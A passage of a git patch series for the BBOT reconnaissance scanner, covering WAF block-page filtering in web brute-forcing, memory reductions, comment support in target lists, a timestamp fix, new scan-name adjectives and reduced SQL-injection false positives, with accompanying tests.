+++++++++++++++++++ 2 files changed, 53 insertions(+) diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index d11f0984f7..61d87d2da4 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -49,6 +49,7 @@ async def setup_deps(self): async def setup(self): self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10)) self.blast_client = self.helpers.blasthttp + self.waf_yara_rules = self.helpers.yara.compile_strings(self.helpers.get_waf_strings(), nocase=True) wordlist_url = self.config.get("wordlist", "") self.debug(f"Using wordlist [{wordlist_url}]") self.wordlist_lines = self.generate_wordlist(self.wordlist) @@ -180,10 +181,19 @@ async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): ) canary_results = [] + canary_waf_count = 0 results = await self.blast_client.request_batch(canary_configs, 4, rate_limit=self.rate) for result in results: if result.success: canary_results.append(self._batch_response_metrics(result.response)) + if await self.helpers.yara.match(self.waf_yara_rules, result.response.body): + canary_waf_count += 1 + + # If all canary responses are WAF block pages, the WAF is blocking everything + if canary_waf_count == len(canary_results) and canary_waf_count > 0: + self.warning(f"All baseline requests for URL [{url}] ext [{ext}] returned WAF block pages, aborting.") + filters[ext] = {"abort": True, "reason": "WAF_BLOCK_PAGE"} + continue # Check we got all 4 responses if len(canary_results) != 4: @@ -352,6 +362,11 @@ async def execute_fuzz( self.debug(f"Filtering redirect-to-root hit: {response.url} -> {location}") continue + # Filter WAF block pages (can return any status code, including 200) + if await self.helpers.yara.match(self.waf_yara_rules, response.body): + self.debug(f"Filtering WAF block page: {response.url}") + continue + hits.append({"url": response.url, "status": response.status}) # If canary was found in results, the server is returning everything — abort diff --git a/bbot/test/test_step_2/module_tests/test_module_web_brute.py b/bbot/test/test_step_2/module_tests/test_module_web_brute.py index bae1b879d6..26b78aa86a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_brute.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_brute.py @@ -130,3 +130,41 @@ def check(self, module_test, events): assert len(tilde_hits) == 0, ( f"web_brute should not report redirect-to-root paths as findings, but got: {[e.url for e in tilde_hits]}" ) + + +class TestWebBruteWAFFalsePositive(ModuleTestBase): + """WAF returns 200 with block page body for certain paths. + web_brute should detect WAF content and filter these as false positives.""" + + targets = ["http://127.0.0.1:8888"] + module_name = "web_brute" + test_wordlist = ["admin", "secret", "junkword1", "zzzjunkword2"] + config_overrides = { + "modules": { + "web_brute": { + "wordlist": tempwordlist(test_wordlist), + } + } + } + modules_overrides = ["web_brute", "http"] + + waf_body = "Request RejectedThe requested URL was rejected. Please consult with your administrator." + + def request_handler(self, request): + uri = request.path + if uri == "/": + return Response("Home", status=200) + if uri.lstrip("/").startswith(("admin", "secret")): + return Response(self.waf_body, status=200) + return Response("Not Found", status=404) + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler) + + def check(self, module_test, events): + waf_hits = [ + e + for e in events + if e.type == "URL_UNVERIFIED" and str(e.module) == "web_brute" and ("admin" in e.url or "secret" in e.url) + ] + assert len(waf_hits) == 0, f"web_brute should filter WAF block pages, but got: {[e.url for e in waf_hits]}" From 8b45e5d626e2b5e1bc67c9c3b89737b616d496f1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 4 Apr 2026 15:44:52 -0400 Subject: [PATCH 489/912] Reduce memory: free batch results during iteration, strip header/hash/cert_info in minimize() --- bbot/core/event/base.py | 3 +++ bbot/modules/http.py | 23 +++++++++++------------ 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 77756df241..45c9d79085 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1613,6 +1613,9 @@ def _minimize(self): if self._module_consumers <= 0: self._data.pop("body", None) self._data.pop("raw_header", None) + self._data.pop("header", None) + self._data.pop("hash", None) + self._data.pop("cert_info", None) @property def raw_response(self): diff --git a/bbot/modules/http.py b/bbot/modules/http.py index d84530d79d..f981c4b9d8 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -215,9 +215,6 @@ async def handle_batch(self, *events): # blasthttp batch returns a native coroutine via pyo3-async-runtimes results = await self.client.request_batch(configs, self.threads) - # Index results by URL for the dedup check - results_by_url = {r.url: r for r in results} - # For OPEN_TCP_PORT probes, suppress redundant https when http already succeeded. # When probing an unknown port, we try both http:// and https://. If http works, # the port definitely speaks HTTP — the https result may be a proxy artifact @@ -227,18 +224,20 @@ async def handle_batch(self, *events): # Explicit URLs (URL_UNVERIFIED/URL) are never suppressed — this only applies # to speculative OPEN_TCP_PORT probes. suppressed_urls = set() - for key, schemes in port_probes.items(): - http_url = schemes.get("http") - https_url = schemes.get("https") - if not (http_url and https_url): - continue - http_result = results_by_url.get(http_url) - if http_result and http_result.success and http_result.response.status != 0: - if https_url in results_by_url: + if port_probes: + successful_urls = {r.url for r in results if r.success and r.response.status != 0} + for key, schemes in port_probes.items(): + http_url = schemes.get("http") + https_url = schemes.get("https") + if not (http_url and https_url): + continue + if http_url in successful_urls and https_url in successful_urls: self.debug(f"Suppressing https probe {https_url} (http already succeeded: {http_url})") suppressed_urls.add(https_url) - for result in results: + for i in range(len(results)): + result = results[i] + results[i] = None # free response body memory as we go if not result.success: self.debug(f"blasthttp error for {result.url}: {result.error}") continue From 40a6211c5b4b43cc7a00153ae5e8e746ad56cef0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 4 Apr 2026 15:50:20 -0400 Subject: [PATCH 490/912] Strip WEB_PARAMETER processing fields in minimize() --- bbot/core/event/base.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 45c9d79085..6659e827eb 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1489,6 +1489,13 @@ class WEB_PARAMETER(DictHostEvent): "envelopes", ] + def _minimize(self): + super()._minimize() + if self._module_consumers <= 0: + self._data.pop("original_value", None) + self._data.pop("additional_params", None) + self._data.pop("assigned_cookies", None) + @property def children(self): # if we have any subparams, raise a new WEB_PARAMETER for each one From 7f7e081318b059e64953ab9f552468f23621f294 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 4 Apr 2026 16:30:48 -0400 Subject: [PATCH 491/912] Strip dns_children, raw_dns_records, resolved_hosts in base minimize() --- bbot/core/event/base.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 6659e827eb..c52bd85487 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -700,6 +700,10 @@ def _minimize(self): process this event, heavy payload data is stripped to free memory. """ self._module_consumers = max(0, self._module_consumers - 1) + if self._module_consumers <= 0: + self.dns_children = {} + self.raw_dns_records = {} + self._resolved_hosts = set() def clone(self): # Create a shallow copy of the event first From b9f0641f8e42481039d4a61122340ae1df355800 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 4 Apr 2026 16:35:14 -0400 Subject: [PATCH 492/912] Reduce http batch_size from 500 to 250 to lower peak memory per batch --- bbot/modules/http.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index f981c4b9d8..e7e45859b3 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -32,7 +32,7 @@ class http(BaseModule): scope_distance_modifier = 2 _shuffle_incoming_queue = False - _batch_size = 500 + _batch_size = 250 _priority = 2 # accept Javascript URLs accept_url_special = True From aa680021ec564837200242b31d901c61dabb4c01 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 4 Apr 2026 18:41:22 -0400 Subject: [PATCH 493/912] Fix web_brute_shortnames missing waf_yara_rules from parent setup() --- bbot/modules/web_brute_shortnames.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/web_brute_shortnames.py b/bbot/modules/web_brute_shortnames.py index a9a01e641a..ffb619f18a 100644 --- a/bbot/modules/web_brute_shortnames.py +++ b/bbot/modules/web_brute_shortnames.py @@ -93,6 +93,7 @@ async def setup_deps(self): async def setup(self): self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10)) self.blast_client = self.helpers.blasthttp + self.waf_yara_rules = self.helpers.yara.compile_strings(self.helpers.get_waf_strings(), nocase=True) self.max_predictions = self.config.get("max_predictions") self.find_subwords = self.config.get("find_subwords") self.rate = self.config.get("rate", 0) or None From 876465b26f05ad0475694d04de53e016e8431a40 Mon Sep 17 00:00:00 2001 From: Austin Stark <14080242+ausmaster@users.noreply.github.com> Date: Tue, 7 Apr 2026 12:36:52 -0700 Subject: [PATCH 494/912] Some fun adjectives :D --- bbot/core/helpers/names_generator.py | 37 ++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index 9c0da33607..322ade6554 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -16,7 +16,13 @@ "atrocious", "autistic", "awkward", + "bamboozled", "baby", + "based", + "befuddled", + "bodacious", + "bonkers", + "bootleg", "begrudged", "benevolent", "bewildered", @@ -24,12 +30,21 @@ "black", "blazed", "bloodshot", + "bricked", "brown", + "bussin", + "caffeinated", + "chaotic", + "chonky", "cheeky", "childish", "chiseled", + "clapped", "cold", "condescending", + "cooked", + "cracked", + "cranked", "considerate", "constipated", "contentious", @@ -40,6 +55,7 @@ "creamy", "crispy", "crumbly", + "crusty", "cryptic", "cuddly", "cute", @@ -62,6 +78,7 @@ "diabolical", "difficult", "dilapidated", + "discombobulated", "dismal", "distilled", "disturbed", @@ -82,8 +99,10 @@ "expired", "exquisite", "extreme", + "feral", "fermented", "ferocious", + "flabbergasted", "fiendish", "fierce", "flamboyant", @@ -98,7 +117,11 @@ "fuzzy", "gentle", "giddy", + "glitched", "glowering", + "goated", + "gobsmacked", + "goofy", "glutinous", "golden", "gothic", @@ -117,6 +140,9 @@ "hysterical", "imaginary", "immense", + "jacked", + "janky", + "juiced", "immoral", "impulsive", "incomprehensible", @@ -159,11 +185,13 @@ "nascent", "naughty", "nefarious", + "nerfed", "negligent", "neurotic", "nihilistic", "normal", "overattached", + "overclocked", "overcompensating", "overenthusiastic", "overmedicated", @@ -209,6 +237,7 @@ "saucy", "savvy", "scheming", + "scuffed", "schizophrenic", "secretive", "sedated", @@ -221,7 +250,9 @@ "sly", "sneaky", "soft", + "soggy", "sophisticated", + "spooky", "spasmodic", "spicy", "spiteful", @@ -241,6 +272,7 @@ "sunburned", "super", "surreal", + "sus", "suspicious", "sweet", "swole", @@ -253,6 +285,8 @@ "ticklish", "tiny", "tricky", + "turbo", + "turnt", "twitchy", "ugly", "unabated", @@ -280,13 +314,16 @@ "wet", "wheedling", "whimsical", + "wonky", "white", "wicked", "wild", "wispy", "witty", "woolly", + "yeeted", "zesty", + "zooted" ] names = [ From 09cbc860c8032ebf5cc11348dd269f9eee73afca Mon Sep 17 00:00:00 2001 From: Austin Stark <14080242+ausmaster@users.noreply.github.com> Date: Tue, 7 Apr 2026 15:56:16 -0700 Subject: [PATCH 495/912] Alphabet is hard --- bbot/core/helpers/names_generator.py | 41 +++++++++++++++------------- 1 file changed, 22 insertions(+), 19 deletions(-) diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index 322ade6554..c295b05c3d 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -16,13 +16,10 @@ "atrocious", "autistic", "awkward", - "bamboozled", "baby", + "bamboozled", "based", "befuddled", - "bodacious", - "bonkers", - "bootleg", "begrudged", "benevolent", "bewildered", @@ -30,27 +27,30 @@ "black", "blazed", "bloodshot", + "bodacious", + "bonkers", + "bootleg", "bricked", "brown", "bussin", "caffeinated", "chaotic", - "chonky", "cheeky", "childish", "chiseled", + "chonky", "clapped", "cold", "condescending", - "cooked", - "cracked", - "cranked", "considerate", "constipated", "contentious", + "cooked", "corrupted", "cosmic", + "cracked", "crafty", + "cranked", "crazed", "creamy", "crispy", @@ -58,6 +58,7 @@ "crusty", "cryptic", "cuddly", + "cursed", "cute", "dark", "dastardly", @@ -102,9 +103,9 @@ "feral", "fermented", "ferocious", - "flabbergasted", "fiendish", "fierce", + "flabbergasted", "flamboyant", "fleecy", "flirtatious", @@ -119,11 +120,11 @@ "giddy", "glitched", "glowering", + "glutinous", "goated", "gobsmacked", - "goofy", - "glutinous", "golden", + "goofy", "gothic", "grievous", "gummy", @@ -140,9 +141,6 @@ "hysterical", "imaginary", "immense", - "jacked", - "janky", - "juiced", "immoral", "impulsive", "incomprehensible", @@ -162,6 +160,9 @@ "intoxicated", "inventive", "irritable", + "jacked", + "janky", + "juiced", "large", "liquid", "loveable", @@ -184,9 +185,10 @@ "mysterious", "nascent", "naughty", + "nautical", "nefarious", - "nerfed", "negligent", + "nerfed", "neurotic", "nihilistic", "normal", @@ -197,6 +199,7 @@ "overmedicated", "overwhelming", "overzealous", + "pacific", "paranoid", "pasty", "peckish", @@ -237,8 +240,8 @@ "saucy", "savvy", "scheming", - "scuffed", "schizophrenic", + "scuffed", "secretive", "sedated", "senile", @@ -252,10 +255,10 @@ "soft", "soggy", "sophisticated", - "spooky", "spasmodic", "spicy", "spiteful", + "spooky", "squishy", "steamy", "sticky", @@ -314,16 +317,16 @@ "wet", "wheedling", "whimsical", - "wonky", "white", "wicked", "wild", "wispy", "witty", + "wonky", "woolly", "yeeted", "zesty", - "zooted" + "zooted", ] names = [ From 0c4063bf020afea5aca0f5143ac884e3e8815fa4 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 9 Apr 2026 14:54:14 -0400 Subject: [PATCH 496/912] fix SCAN event timestamp format --- bbot/scanner/scanner.py | 2 +- bbot/test/test_step_1/test_scan.py | 19 +++++++++++++++++++ 2 files changed, 20 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index b2883cded6..511056bea2 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -384,7 +384,7 @@ async def async_start(self): if not self._prepped: await self._prep() await self._set_status(SCAN_STATUS_STARTING) - self.root_event.data["started_at"] = self.start_time.isoformat() + self.root_event.data["started_at"] = self.start_time.timestamp() self._start_log_handlers() self.trace(f"Ran BBOT {__version__} at {self.start_time}, command: {' '.join(sys.argv)}") diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 81e063e053..d8233bf333 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -407,6 +407,25 @@ async def handle_event(self, event): } +@pytest.mark.asyncio +async def test_scan_event_started_at_type(bbot_scanner): + """Regression test: started_at must be a float on both RUNNING and FINISHED SCAN events.""" + scan = bbot_scanner("127.0.0.1") + await scan._prep() + scan_events = [] + async for event in scan.async_start(): + if event.type == "SCAN": + scan_events.append(event) + + assert len(scan_events) == 2, f"Expected 2 SCAN events, got {len(scan_events)}" + for e in scan_events: + started_at = e.data.get("started_at") + status = e.data.get("status") + assert isinstance(started_at, float), ( + f"SCAN event (status={status}) started_at should be float, got {type(started_at).__name__}: {started_at!r}" + ) + + async def test_scan_name(bbot_scanner): scan = bbot_scanner("evilcorp.com", name="test_scan_name") await scan._prep() From 9c0d36b5fffbfa128cf08459390801eb96b623fa Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 10 Apr 2026 14:25:34 -0400 Subject: [PATCH 497/912] support comments in target lists --- bbot/core/helpers/misc.py | 30 +++++++++++++ bbot/scanner/preset/args.py | 6 +-- bbot/scanner/preset/preset.py | 3 ++ bbot/test/test_step_1/test_target.py | 65 ++++++++++++++++++++++++++++ 4 files changed, 101 insertions(+), 3 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 6c5211762c..262c22bbe3 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -1118,6 +1118,32 @@ def str_or_file(s): yield s +_comment_re = re.compile(r"\s#") + + +def strip_comments(line): + """Strip #-style comments from a line. + + Handles full-line comments (``# ...``) and inline comments (``target # ...``). + The ``#`` must be preceded by whitespace to count as an inline comment, + so URL fragments like ``http://example.com/page#section`` are preserved. + + Examples: + >>> strip_comments("evilcorp.com # main domain") + 'evilcorp.com' + >>> strip_comments("# full line comment") + '' + >>> strip_comments("http://example.com/page#section") + 'http://example.com/page#section' + """ + if line.lstrip().startswith("#"): + return "" + m = _comment_re.search(line) + if m: + return line[: m.start()] + return line + + split_regex = re.compile(r"[\s,]") @@ -1128,6 +1154,7 @@ def chain_lists( remove_blank=True, validate=False, validate_chars='<>:"/\\|?*)', + _strip_comments=False, ): """Chains together list elements, allowing for entries separated by commas. @@ -1143,6 +1170,7 @@ def chain_lists( remove_blank (bool, optional): Whether to remove blank entries from the list. Defaults to True. validate (bool, optional): Whether to perform validation for undesirable characters. Defaults to False. validate_chars (str, optional): When performing validation, what additional set of characters to block (blocks non-printable ascii automatically). Defaults to '<>:"/\\|?*)' + _strip_comments (bool, optional): Whether to strip ``#``-style comments from entries and file lines. Defaults to False. Returns: list: The list of chained elements. @@ -1172,6 +1200,8 @@ def chain_lists( new_msg = str(msg).format(filename=f_path) log.info(new_msg) for line in str_or_file(f): + if _strip_comments: + line = strip_comments(line) final_list[line] = None else: final_list[f] = None diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index ffda0de2a5..f99305e5d8 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -403,14 +403,14 @@ def sanitize_args(self): self.parsed.exclude_modules = chain_lists(self.parsed.exclude_modules) self.parsed.output_modules = chain_lists(self.parsed.output_modules) self.parsed.targets = chain_lists( - self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}" + self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}", _strip_comments=True ) if self.parsed.seeds is not None: self.parsed.seeds = chain_lists( - self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}" + self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}", _strip_comments=True ) self.parsed.blacklist = chain_lists( - self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}" + self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}", _strip_comments=True ) self.parsed.flags = chain_lists(self.parsed.flags) self.parsed.exclude_flags = chain_lists(self.parsed.exclude_flags) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 01e6ba681f..c6ab3a8220 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -673,6 +673,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): cls._resolve_file_entries(target_vals), try_files=True, msg="Reading targets from preset file: {filename}", + _strip_comments=True, ) seeds = preset_dict.get("seeds") if seeds is not None: @@ -680,6 +681,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): cls._resolve_file_entries(seeds), try_files=True, msg="Reading seeds from preset file: {filename}", + _strip_comments=True, ) blacklist = preset_dict.get("blacklist") if blacklist is not None: @@ -687,6 +689,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): cls._resolve_file_entries(blacklist), try_files=True, msg="Reading blacklist from preset file: {filename}", + _strip_comments=True, ) new_preset = cls( *targets, diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 0039fce14b..962ae2ddd6 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -710,3 +710,68 @@ def test_target_pickle(): # hashes match assert target.hash == restored.hash + + +def test_target_comments_from_file(tmp_path): + """Comments in a target file are stripped when loaded via chain_lists.""" + from bbot.core.helpers.misc import chain_lists + + target_file = tmp_path / "targets.txt" + target_file.write_text( + "# My target list\n" + "evilcorp.com # main domain\n" + "\n" + " # another comment\n" + "othercorp.com\n" + "192.168.1.0/24 # lab network\n" + "http://example.com/page#fragment # with a URL fragment\n" + ) + + result = chain_lists([str(target_file)], try_files=True, _strip_comments=True) + assert "evilcorp.com" in result + assert "othercorp.com" in result + assert "192.168.1.0/24" in result + assert "http://example.com/page#fragment" in result + # comments and blank lines are gone + assert not any(r.lstrip().startswith("#") for r in result) + assert len(result) == 4 + + +def test_target_comments_blacklist_file(tmp_path): + """Comments in a blacklist file are stripped when loaded via chain_lists.""" + from bbot.core.helpers.misc import chain_lists + + blacklist_file = tmp_path / "blacklist.txt" + blacklist_file.write_text( + "# don't scan the blog\n" + "blog.evilcorp.com # unstable host\n" + ) + + result = chain_lists([str(blacklist_file)], try_files=True, _strip_comments=True) + assert result == ["blog.evilcorp.com"] + + +def test_strip_comments_helper(): + """Unit tests for the strip_comments function.""" + from bbot.core.helpers.misc import strip_comments + + # full-line comments + assert strip_comments("# comment") == "" + assert strip_comments(" # indented comment") == "" + + # inline comments + assert strip_comments("evilcorp.com # main domain") == "evilcorp.com" + assert strip_comments("1.2.3.0/24\t# tab comment") == "1.2.3.0/24" + + # no comment + assert strip_comments("evilcorp.com") == "evilcorp.com" + + # URL fragment (no space before #) is preserved + assert strip_comments("http://example.com/page#section") == "http://example.com/page#section" + + # URL fragment with trailing inline comment + assert strip_comments("http://example.com/page#section # a comment") == "http://example.com/page#section" + + # empty / whitespace + assert strip_comments("") == "" + assert strip_comments(" ") == " " From deda309b8b2ba4dfe8e3ceb8b2ced1c4b0482221 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 10 Apr 2026 14:26:56 -0400 Subject: [PATCH 498/912] ruffed --- bbot/test/test_step_1/test_target.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 962ae2ddd6..02e7429804 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -742,10 +742,7 @@ def test_target_comments_blacklist_file(tmp_path): from bbot.core.helpers.misc import chain_lists blacklist_file = tmp_path / "blacklist.txt" - blacklist_file.write_text( - "# don't scan the blog\n" - "blog.evilcorp.com # unstable host\n" - ) + blacklist_file.write_text("# don't scan the blog\nblog.evilcorp.com # unstable host\n") result = chain_lists([str(blacklist_file)], try_files=True, _strip_comments=True) assert result == ["blog.evilcorp.com"] From 6f2abbe772fe1e4c1f2e08c48195843db2a8d308 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 12 Apr 2026 17:56:03 -0400 Subject: [PATCH 499/912] Fix log spam: BlasthttpResponse body dumped via f-string interpolation Make BlasthttpResponse.__str__ return repr instead of response body, and fix diff.py baseline error message to format responses safely. --- bbot/core/helpers/diff.py | 4 +++- bbot/core/helpers/web/blast_response.py | 5 ++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 29797f80b8..6706cf805f 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -87,8 +87,10 @@ async def _baseline(self): self.baseline = baseline_1 if baseline_1 is None or baseline_2 is None: log.debug("HTTP error while establishing baseline, aborting") + baseline_1_repr = f"HTTP {baseline_1.status_code}" if baseline_1 is not None else "None" + baseline_2_repr = f"HTTP {baseline_2.status_code}" if baseline_2 is not None else "None" raise HttpCompareError( - f"Can't get baseline from source URL: {url_1}:{baseline_1} / {url_2}:{baseline_2}" + f"Can't get baseline from source URL: {url_1} ({baseline_1_repr}) / {url_2} ({baseline_2_repr})" ) if baseline_1.status_code != baseline_2.status_code: log.debug("Status code not stable during baseline, aborting") diff --git a/bbot/core/helpers/web/blast_response.py b/bbot/core/helpers/web/blast_response.py index befe625715..e6a548ae73 100644 --- a/bbot/core/helpers/web/blast_response.py +++ b/bbot/core/helpers/web/blast_response.py @@ -157,11 +157,10 @@ def raise_for_status(self): ) def __str__(self): - return self.text - - def __repr__(self): return f"BlasthttpResponse(status={self.status_code}, url='{self.url}')" + __repr__ = __str__ + class BlasthttpHTTPError(Exception): """HTTP error raised by BlasthttpResponse.raise_for_status().""" From 928b09de681f32606ce0671b8c0c914e6280dd33 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 13 Apr 2026 11:37:11 -0400 Subject: [PATCH 500/912] install pip in the bbot venv --- bbot/core/helpers/depsinstaller/installer.py | 18 ------------------ pyproject.toml | 1 + uv.lock | 11 +++++++++++ 3 files changed, 12 insertions(+), 18 deletions(-) diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index 7dbc240674..d3ac8a3297 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -268,24 +268,6 @@ async def pip_install(self, packages, constraints=None): packages_str = ",".join(packages) log.info(f"Installing the following pip packages: {packages_str}") - # Ensure pip is available in the environment - try: - check_pip_command = [sys.executable, "-m", "pip", "--version"] - await self.parent_helper.run(check_pip_command, check=True) - except CalledProcessError: - # pip is not available, try to install it with ensurepip - log.info("pip not found in virtual environment, attempting to install with ensurepip") - try: - ensurepip_command = [sys.executable, "-m", "ensurepip", "--upgrade"] - await self.parent_helper.run(ensurepip_command, check=True) - log.info("Successfully installed pip with ensurepip") - except CalledProcessError as err: - log.warning( - f"Failed to install pip with ensurepip (return code {err.returncode}): {err.stderr}. " - f"If using uv, create the virtual environment with 'uv venv --seed' or set UV_VENV_SEED=1" - ) - return False - command = [sys.executable, "-m", "pip", "install", "--upgrade"] + packages # if no custom constraints are provided, use the constraints of the currently installed version of bbot diff --git a/pyproject.toml b/pyproject.toml index 8f161689c3..9f14e3f899 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -15,6 +15,7 @@ classifiers = [ "Topic :: Security", ] dependencies = [ + "pip", "omegaconf>=2.3.0,<3", "psutil>=5.9.4,<8.0.0", "wordninja>=2.0.0,<3", diff --git a/uv.lock b/uv.lock index dbd6201b0b..ae7c73d099 100644 --- a/uv.lock +++ b/uv.lock @@ -204,6 +204,7 @@ dependencies = [ { name = "mmh3" }, { name = "omegaconf" }, { name = "orjson" }, + { name = "pip" }, { name = "psutil" }, { name = "puremagic" }, { name = "pycryptodome" }, @@ -273,6 +274,7 @@ requires-dist = [ { name = "mmh3", specifier = ">=4.1,<6.0" }, { name = "omegaconf", specifier = ">=2.3.0,<3" }, { name = "orjson", specifier = ">=3.10.12,<4" }, + { name = "pip" }, { name = "psutil", specifier = ">=5.9.4,<8.0.0" }, { name = "puremagic", specifier = ">=1.28,<2" }, { name = "pycryptodome", specifier = ">=3.17,<4" }, @@ -1707,6 +1709,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/9e/c3/059298687310d527a58bb01f3b1965787ee3b40dce76752eda8b44e9a2c5/pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523", size = 63772, upload-time = "2023-11-25T06:56:14.81Z" }, ] +[[package]] +name = "pip" +version = "26.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/48/83/0d7d4e9efe3344b8e2fe25d93be44f64b65364d3c8d7bc6dc90198d5422e/pip-26.0.1.tar.gz", hash = "sha256:c4037d8a277c89b320abe636d59f91e6d0922d08a05b60e85e53b296613346d8", size = 1812747, upload-time = "2026-02-05T02:20:18.702Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/f0/c81e05b613866b76d2d1066490adf1a3dbc4ee9d9c839961c3fc8a6997af/pip-26.0.1-py3-none-any.whl", hash = "sha256:bdb1b08f4274833d62c1aa29e20907365a2ceb950410df15fc9521bad440122b", size = 1787723, upload-time = "2026-02-05T02:20:16.416Z" }, +] + [[package]] name = "platformdirs" version = "4.6.0" From 52c0cc85ab1e98e458212f1fdfeddceca2396e2b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 13:12:53 -0400 Subject: [PATCH 501/912] Reduce lightfuzz sqli false positives: url_extension filtering, confirmation loop, better finding descriptions - Hoist url_extension from URL_UNVERIFIED to DictEvent so WEB_PARAMETER events on static/special URLs get filtered - Extend accept_url_special gate to all events with URLs, not just URL types - Add lightfuzz filter_event rejection of WEB_PARAMETERs on url_extension_static URLs - Add sqli code-change confirmation loop (3 rounds with fresh baselines) to suppress transient flaps - Surface additional_params and probe request bodies in sqli finding descriptions - Fix baseline_probe() "eventtype" -> "type" typo, fix falsy check in incoming_probe_value() - Update paramminer_headers to use url_extension attribute --- bbot/core/event/base.py | 11 +- bbot/modules/base.py | 6 +- bbot/modules/lightfuzz/lightfuzz.py | 6 + bbot/modules/lightfuzz/submodules/base.py | 39 +++- bbot/modules/lightfuzz/submodules/sqli.py | 97 +++++++++- bbot/modules/paramminer_headers.py | 3 +- bbot/test/test_step_1/test_events.py | 38 ++++ .../module_tests/test_module_lightfuzz.py | 182 +++++++++++++++++- 8 files changed, 363 insertions(+), 19 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 77756df241..64ce185c4f 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1068,10 +1068,20 @@ def sanitize_data(self, data): class DictEvent(BaseEvent): + __slots__ = ["url_extension"] + def sanitize_data(self, data): url = data.get("url", "") if url: self.parsed_url = self.validators.validate_url_parsed(url) + # extract url_extension from any dict event with a URL + url_path = self.parsed_url.path + if url_path: + parsed_path_lower = str(url_path).lower() + extension = get_file_extension(parsed_path_lower) + if extension: + self.url_extension = extension + self.add_tag(f"extension-{extension}") return data def _data_load(self, data): @@ -1297,7 +1307,6 @@ class URL_UNVERIFIED(DictHostEvent): 